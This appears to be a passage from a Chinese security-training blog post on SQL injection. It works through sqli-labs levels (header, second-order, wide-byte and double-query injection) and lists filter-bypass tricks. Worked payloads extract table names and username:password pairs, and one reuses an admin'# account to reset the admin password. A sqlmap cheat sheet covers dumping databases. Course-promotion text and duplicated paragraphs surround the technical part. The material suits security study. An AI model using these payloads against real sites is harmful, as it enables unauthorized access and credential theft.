先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。
ascii(char)转化为十进制的ascii码
length(str)返回长度
ord(char)ascii转换函数
if(cond,ture_result,False_result)比较函数
第一个表达式正确返回第二个,错误则返回第三个
9. HTTP头部注入
请求头 含义和作用 示例 Accept 告知服务器客户端能够接受的响应内容类型。 Accept: text/html, application/json Accept-Language 告知服务器客户端可接受的语言类型。 Accept-Language: en-US, zh-CN;q=0.9 Accept-Encoding 告知服务器客户端可接受的内容编码方式,用于数据压缩传输。 Accept-Encoding: gzip, deflate Host 指定请求的目标服务器的域名或IP地址和端口号。 Host: www.example.com:8080 Cookie 在HTTP请求中携带存储在客户端的Cookie信息,用于会话状态保持。例如,输入用户名和密码登录一个网站后,每次刷新和请求该站点其他页面,都会保持登录状态,这就是Cookie的功劳。 Cookie: session_id=123456; user_id=987654 Referer 表示当前请求的来源页面的URL,用于跟踪和统计。 Referer: https://www.example.com/page1 User-Agent 标识客户端应用程序或浏览器的信息,帮助服务器优化响应。 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Content-Type 指定请求体中的数据类型,用于POST请求等需要传递数据的请求。Content-Type的设置对于数据的正确解析和处理非常重要。例如,如果服务器期望接收JSON数据,而客户端却发送了普通文本数据,服务器可能无法正确解析数据。 Content-Type: application/json; charset=utf-8 大部分请求头都有可能存在注入,因为后端代码也会根据请求头查询数据。样例见,sqli-labs-master第18、19、20、21、22。
10. 二次注入
二次注入也称为存储型注入,就是将可能触发sql注入的字符存在数据库中,当再次调用这个恶意构造的字符就可以触发二次注入。
这里以sqli-labs-master第24关为例子。
- 代码一:实现了简单的用户注册功能,程序获取到GET参数username和参数password,然后将username和password拼接到SQL语句,使用insert语句插入数据库中。由于参数username使用addslashes进行转义(转义了单引号,导致单引号无法闭合),参数password进行了MD5哈希,所以此处不存在SQL注入漏洞。正常插入test’之后,数据库就有了test’这个用户。
- 当访问username=test’&password=123456时,执行的SQL语句为:
insert into users(\`username\`,\`password\`)values ('test\'','e10adc3949ba59abbe56e057f20f883e')。
<?php $con=mysqli\_connect("localhost", "root", "root", "sql"); if (mysqli\_connect\_errno()) { echo "数据库连接错误: " . mysqli\_connect\_error(); } $username = $\_GET['username']; $password = $\_GET['password']; $result = mysqli\_query($con, "insert into users(`username`, `password`) values ('".addslashes($username)."','".md5($password)."')"); echo "新 id 为: " . mysqli\_insert\_id($con); ?>
- 代码二:在二次注入中,第二段中的代码如下所示,首先将GET参数ID转成int类型(防止拼接到SQL语句时,存在SQL注入漏洞),然后到users表中获取ID对应的username,接着到person表中查询username对应的数据。但是此处没有对$username进行转义,在第一步中我们注册的用户名是test’,此时执行的SQL语句为:
select * from person where `username`='test''
单引号被带入SQL语句中,由于多了一个单引号,所以页面会报错。
回到24题发现有很多代码。
- 分析login.php代码发现对于username和password使用了mysql_real_escape_string函数,这个函数会对单引号(')、双引号(")、反斜杠(\)、NULL 字符等加添反斜杠来进行转义,所以在登录界面框无法直接下手。
$username = mysql\_real\_escape\_string($\_POST["login\_user"]); $password = mysql\_real\_escape\_string($\_POST["login\_password"]);
- 接着分析创建新用户的代码,在new_user.php中有form表单提交到login_create.php中,所以重点还是login_create.php,发现还是存在转义:
$username= mysql\_escape\_string($\_POST['username']) ; $pass= mysql\_escape\_string($\_POST['password']); $re\_pass= mysql\_escape\_string($\_POST['re\_password']); $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
- 那就登录进去看一下,登录进去是一个修改密码的框,其中不需要填写账号密码,看一下代码:
$username= $\_SESSION["username"]; $curr\_pass= mysql\_real\_escape\_string($\_POST['current\_password']); $pass= mysql\_real\_escape\_string($\_POST['password']); $re\_pass= mysql\_real\_escape\_string($\_POST['re\_password']); $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr\_pass' ";
可以发现漏洞存在于此处,这一道题不是获取数据库而是获取admin的密码,所以我们可以构造一个admin’#的账号,虽然在注册部分单引号会被转义但数据库中并不会存在这个反斜杠,注册账号admin’#密码随便,于是就可以登录进去,然后再修改密码,其中的sql语句为:
$sql = "UPDATE users SET PASSWORD='你想要的密码' where username='admin'#' and password='$curr\_pass' ";
于是修改admin账号不需要原始密码。
11. 宽字节注入
宽字节注入指的是mysql数据库在使用GBK编码时(一般账号啥的能输入或显示中文的就是了),会认为两个字符是一个汉字,而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码会认为%df%5c是一个宽字节,也就是"運’,从而使单引号闭合(逃逸),进行注入攻击
这里以sqli-labs-master第三十二关为例:
function check\_addslashes($string) { $string = preg\_replace('/'. preg\_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg\_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg\_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; }
function strToHex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } echo "Hint: The Query String you input is escaped as : ".$id ."<br>"; echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";
对于第一段代码,单引号、双引号和反斜杠都加上了一个反斜杠,我们试一下输入中文:
输入中文发现回显的是中文为gbk编码,所以我们可以使用宽字节注入,原理就是%df和反斜杠可以组成一个中文字符?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
12. 双查询注入(报错注入一种)
首先这适合其他报错函数都过滤了但有报错信息,而且没有回显位的,比较少见所以这里给出链接。
【Double SQL Injection(双查询注入) | Mochazz’s blog】。
这里以sqli-labs-master第五关为例子。
首先这对于初学来说这个报错注入会比较难理解,我们先判断闭合方式:
?id=1' and '1'='1 ?id=1' and '1'='2
通过上述语句可以知道这是单引号闭合,接下来判断注入类型,这里先试一下Union注入:
?id=1' order by 3 --+ ?id=1' order by 4 --+
通过上述语句可以得到字段数为3,接下来判断回显位:
?id=1' and '1'='2' union select 1,2,3--+
通过这一段payload,发现并没有回显位,所以Union注入不可行,所以回到报错注入。
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
通过上述语句得到的结果为 XPATH syntax error: ‘~emails,referers,uagents,users’,之后过程省略。但是这一关的考点为报错注入中的双查询注入,我们假设updatexml()被过滤了,我们要使用双查询注入,关于双查询注入的文章【Double SQL Injection(双查询注入) | Mochazz’s blog】。
?id=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
通过上述语句得到Duplicate entry ‘:emails,referers,uagents,users:0’ for key ‘’,接着获取users的字段名
?id=1' union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
通过上述语句得到 **Duplicate entry ‘:id,username,password:0’ for key ‘’**接着获取username和password:
?id=1' union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+
13. SQL注入过滤与绕过
13.1. 双写绕过、大小写绕过
对于sqli-Less25关有对于and和or大小写不敏感的过滤,这里的i表示大小写不敏感:
$id= preg\_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg\_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
我们可以使用双写绕过,对于其他select过滤等也可试一试:
oorr anandd selSElectect SElect
13.2. 内联注释绕过
SEL/**/ECT。在SELECT中间加入内联注释,可能绕过对SELECT关键词的检查
注意是可能!像sqli 26关就有对内联注释的过滤
13.3. 逻辑符号绕过
对于and、or、xor、not的黑名单绕过,可以使用逻辑符号,最好使用||
or = || and = && xor = | 或者 ^ not = !
注:有些题使用&&不行,使用||却可以,不知道为啥。
13.4. 绕过空格过滤
/**/ () 例如:?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1 //下面编码貌似在windows phpstudy环境下无效 %09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空 `(tap键上面的按钮) + 加号 两个空格
注:1’%0aanandd%0a’1’=2 不可以验证%0a有用,这里有没有都可以。
13.5. 引号添加反斜杠过滤绕过
%df宽字节注入 CHAR()函数,例如:table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121) 最常用 转化成Hex编码:table_schema=0x7365637572697479 (security)注意不用转引号
常见的php过滤函数mysql_real_escape_string、addslashes()
13.6. 大于小于号过滤绕过
大于小于号常见在盲注,可以使用between左闭右开,in关键字,greatest函数和least函数返回最值
where id=1 and greatest(ascii(substr(database(),1,1)),1)=99; where id=1 and substr(database(),1,1) in ('c'); where id=1 and substr(database(),1,1) between 'a' and 'd';
13.7. 等号过滤绕过
如果等号被过滤,可以使用:
>0 and <2 等价于 =1 <>等价于! like 正则匹配
13.8. 逗号过滤绕过
我们可能会使用substr(),substring(),mid()等函数,里面会有逗号
- 对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
- join关键字
union select 1,2,3,4; union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D); union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
13.9. 关键函数
sleep() -->benchmark() 指定次数表达式,造成延迟 使用 HEX('A') 或 BIN('A') 替代 ASCII('A')。 SELECT group_concat('str1','str2');->SELECT concat_ws(',', 'str1', 'str2'); 使用SELECT @@user; 替代SELECT user(); ord()->ascii() SELECT IF(substr(database(),1,1)='c',1,0);->SELECT IFNULL(substr(database(),1,1)='c',0); 或 SELECT CASE substr(database(),1,1)='c' WHEN 1 THEN 1 ELSE 0 END;
14. SQLmap
1. 目标
操作 作用 必要示例 -u 指定URL,检测注入点 sqlmap -u 'http://example.com/?id=1'
-m 指定txt,里面有很多个URL sqlmap -m urls.txt
-r 检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中,接着-p指定参数 sqlmap -r request.txt
–cookie 指定cookie的值,单/双引号包裹 sqlmap -u "http://example.com?id=x" --cookie 'session_id=1234'
-D 指定数据库 sqlmap -u 'http://example.com/?id=1' -D mydatabase
-T 指定表 sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable
-C 指定字段 sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable -C mycolumn
2. 脱库
操作 作用 必要示例 -b 获取数据库版本 sqlmap -u <url> -b
–current-db 当前数据库 sqlmap -u <url> --current-db
–dbs 获取数据库 sqlmap -u <url> --dbs
–tables 获取表 sqlmap -u <url> --tables -D <database>
–columns 获取字段 sqlmap -u <url> --columns -D <database> -T <table>
–schema 字段类型 sqlmap -u <url> --schema -D <database>
–dump 获取数据 sqlmap -u <url> --dump -D <database> -T <table>
–start 开始的行 sqlmap -u <url> --start=1 -D <database> -T <table>
–stop 结束的行 sqlmap -u <url> --stop=10 -D <database> -T <table>
–search 搜索库表字段 sqlmap -u <url> --search -C <column>
–tamper WAF绕过 sqlmap -u <url> --tamper=<tamper_script>
2.1. 脱库(补充)
- –current-db获取的是当前的数据库名称,而–dbs获取的是所有的数据库名称
- WAF 指的是“Web Application Firewall”,即网络应用防火墙,例如sqlmap -u ‘http://xx/?id=1’ --tamper ‘space2comment.py’,sqlmap有很多内置的绕过脚本(脚本按照用途命名),在/usr/share/sqlmap/tamper/目录下
- –search:如果你正在寻找包含特定关键字的列,这个命令将列出所有包含该关键字的列的名称及其所属的表和数据库。
3. 其他
操作 作用 必要示例 –batch 不再询问确认 sqlmap -u 'http://example.com/?id=1' --batch
–method=GET 指定请求方式 sqlmap -u 'http://example.com/?id=1' --method=GET
–random-agent 随机UA sqlmap -u 'http://example.com/?id=1' --random-agent
–user-agent 自定义UA sqlmap -u 'http://example.com/?id=1' --user-agent 'MyUserAgent'
–referer 自定义referer sqlmap -u 'http://example.com/?id=1' --referer 'http://referer.com'
–proxy=“123” 代理 sqlmap -u 'http://example.com/?id=1' --proxy='http://123.123.123.123:8080'
–threads 10 线程数1~10 sqlmap -u 'http://example.com/?id=1' --threads 10
–level=1 测试等级1~5 sqlmap -u 'http://example.com/?id=1' --level=1
–risk=1 风险等级0~3 sqlmap -u 'http://example.com/?id=1' --risk=1
3.1. 其他(补充)
- 测试等级:这个等级决定了 SQLMap 将尝试的测试数量和类型。较高的等级意味着 SQLMap 将执行更多类型的测试,这些测试可能更复杂,有时也更具侵入性。例如,在较低的等级上,SQLMap 可能只测试最常见的注入类型,而在较高等级上,它会尝试更多不常见的或复杂的注入技术。
- 风险等级:风险等级影响测试的侵入性。较高的风险等级可能会运行更具侵入性的测试,这些测试可能会对数据库造成更大的负担或风险。例如,一些高风险测试可能包括执行实际的数据库操作(如更新或删除数据),而低风险测试则尽量避免这种潜在的破坏性操作。
操作 作用 必要示例 -a 自动识别和测试所有参数 sqlmap -u 'http://example.com/?id=1' -a
–current-user 获取当前数据库用户 sqlmap -u 'http://example.com/?id=1' --current-user
–is-dbs 是不是数据库管理员 sqlmap -u 'http://example.com/?id=1' --is-dbs
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!